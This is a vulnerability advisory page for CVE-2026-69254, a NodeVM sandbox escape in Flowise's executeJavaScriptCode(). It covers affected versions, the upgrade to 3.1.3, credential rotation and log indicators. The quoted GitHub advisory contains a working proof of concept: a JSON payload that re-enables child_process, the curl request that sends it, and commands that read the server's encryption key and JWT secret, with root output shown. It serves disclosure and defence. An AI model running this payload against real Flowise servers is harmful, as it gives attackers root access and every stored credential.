NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Flowise

CVE-2026-69254: Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override

criticalCVSS 4.0 9.4GHSA-3769-jgqc-cxm7

Flowise's custom-function endpoint runs user JavaScript in a restricted NodeVM, but code inside it can call `executeJavaScriptCode()` again with its own options and re-enable `child_process`. Any authenticated user with an API key then runs commands, as root in the Docker image. Flowise 3.0.5 up to 3.1.2 are affected. Upgrade to 3.1.3.

Published Aug 4, 2026 · Analysis Oct 25, 2026

What an attacker can do

executeJavaScriptCode() in packages/components/src/utils.ts builds secure defaults: a require.builtin allowlist that blocks child_process, fs and os, plus eval: false. It then merges caller options with { ...defaultNodeVMOptions, ...nodeVMOptions }. The caller's nodeVMOptions wins.

The route POST /api/v1/node-custom-function passes the request body to executeCustomNodeFunction, which runs the user's javascriptFunction inside the sandbox. From inside, the code can require the absolute path of flowise-components/dist/src/utils.js and reach executeJavaScriptCode itself. It calls it with nodeVMOptions: { require: { builtin: ["*"] } }. The nested VM can now require("child_process").

The reporter's proof ran id as uid 0 in the Docker image and read /root/.flowise/encryption.key. That key decrypts every stored credential, including API keys, OAuth tokens and database passwords. The JWT secret in /root/.flowise/jwt_auth_token_secret.key lets an attacker forge tokens for any user.

The attacker needs a Flowise account and an API key. The report registered an account and created a key in the UI. That makes it a risk for any instance that allows self-registration or shares keys.

Who is affected

npm packages flowise and flowise-components, versions >= 3.0.5 and <= 3.1.2. The advisory's own range runs from 3.0.5 through 3.1.1; the package data lists everything through 3.1.2. Check the version:

npm ls -g flowise flowise-components

The running version also shows at /api/v1/version.

flowise

Ecosystem
npm
Affected
<= 3.1.2
Fixed in
3.1.3
Check
npm ls flowise

flowise-components

Ecosystem
npm
Affected
<= 3.1.2
Fixed in
3.1.3
Check
npm ls flowise-components

How to fix it

Upgrade flowise and flowise-components to 3.1.3. The fix is in pull request 6306 and commit 3086cb7e323bb96c5a581d3232ef975b0d92183d:

npm install -g [email protected]

The advisory gives no workaround. Because the encryption key and JWT secret are readable on an exploited host, rotate stored credentials and the JWT secret if an untrusted user held an API key on an affected version. Also revoke API keys you do not recognise.

How to tell if you were hit

Look for POST /api/v1/node-custom-function requests in access logs, particularly from API keys that do not normally use it, with a body that contains executeJavaScriptCode, nodeVMOptions or a path to flowise-components/dist/src/utils.js. Check for new files in /tmp, new cron entries, and child processes of the Flowise server. Beam logs shell commands run on a host with AI agents, which would show a command spawned by Flowise.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.

Details

The vulnerability is in packages/components/src/utils.ts at line 1755:

  const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }

  The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:

  async (code, sandbox, options = {}) => {
      const { nodeVMOptions = {} } = options;
      // ...
      const defaultNodeVMOptions = {
          require: {
              builtin: builtinDeps,  // restricted allowlist — blocks child_process, fs, os, etc.
              mock: secureWrappers
          },
          eval: false,
          wasm: false
      }
      const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }  // ← VULN: caller overrides security settings
      const vm = new NodeVM(finalNodeVMOptions)
  }

The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.

Taint 01: Route Registration packages/server/src/routes/node-custom-functions/index.ts (line 8)

Taint 02: Controller executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90)

Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction — packages/server/src/utils/executeCustomNodeFunction.ts (line 49)

Taint 04: Sandbox Entry Code runs inside NodeVM via executeJavaScriptCode() — packages/components/src/utils.ts (line 1760)

Taint 05: Escape Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself

Taint 06: Override The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }

Taint 07: RCE Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.

PoC

Step 1: Start Flowise

  docker run -d --name flowise-poc -p 3000:3000 \
    -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \                                                                                                                                                                                         
    flowiseai/flowise:latest                                                                                                                                                                                                                 
                                                                                                                                                                                                                                             
  # Wait ~30s for startup                                                                                                                                                                                                                    
  curl http://localhost:3000/api/v1/version
  # {"version":"3.1.1"}                                                                                                                                                                                                                      

Step 2: Obtain Bearer Token

Register an account, then create an API key:

  # Register      
  curl -s -X POST http://localhost:3000/api/v1/account/register \
    -H "Content-Type: application/json" \
    -d '{"user":{"email":"[email protected]","password":"Attack12345","name":"Attacker"}}'                                                                                                                                                   
                                                                                                                                                                                                                                             
  # Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)                                                                                                                                                      
  # Copy the key — this is the Bearer token used below.                                                                                                                                                                                      

Step 3: Create Payload

  cat > exploit.json << 'EOF'
  {
    "javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");    
  return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"                                                                                          
  }                                                                                                                                                                                                                                          
  EOF                                                                                                                                                                                                                                        

Step 4: Exploit

  # Pre-check: file does not exist
  docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           
  # ls: /tmp/RCE-PROOF.txt: No such file or directory                                                                                                                                                                                        
                                                                                                                                                                                                                                             
  # Execute                                                                                                                                                                                                                                  
  curl -X POST http://localhost:3000/api/v1/node-custom-function \
    -H "Content-Type: application/json" \                                                                                                                                                                                                    
    -H "Authorization: Bearer <TOKEN>" \
    -d @exploit.json                                                                                                                                                                                                                         
  # "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"                                                                                                                                                             
                                                                                                                                                                                                                                             
  docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           
  # -rw-r--r--  1 root  root  138 Apr  2 05:02 /tmp/RCE-PROOF.txt                                                                                                                                                                            
                                                                                                                                                                                                                                             
  docker exec flowise-poc cat /tmp/RCE-PROOF.txt                                                                                                                                                                                             
  # uid=0(root) gid=0(root) groups=0(root)...                                                                                                                                                                                                
                                                                                                                                                                                                                                             
  docker exec flowise-poc cat /root/.flowise/encryption.key
  # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb                                                                                                                                                                                                         

Impact

Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.

Credited to akshat-sj.

Questions

Does this need the full admin role?

The report says any authenticated user with a valid API key can do it. It registered an ordinary account and created a key.

What is the root cause?

A spread operator merges caller-supplied nodeVMOptions over the secure defaults, so the caller can switch require.builtin to ["*"].

Which endpoint is used?

POST /api/v1/node-custom-function, which runs the javascriptFunction body in the sandbox.

Which version fixes it?

flowise and flowise-components 3.1.3.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Flowise vulnerabilities

All Flowise entries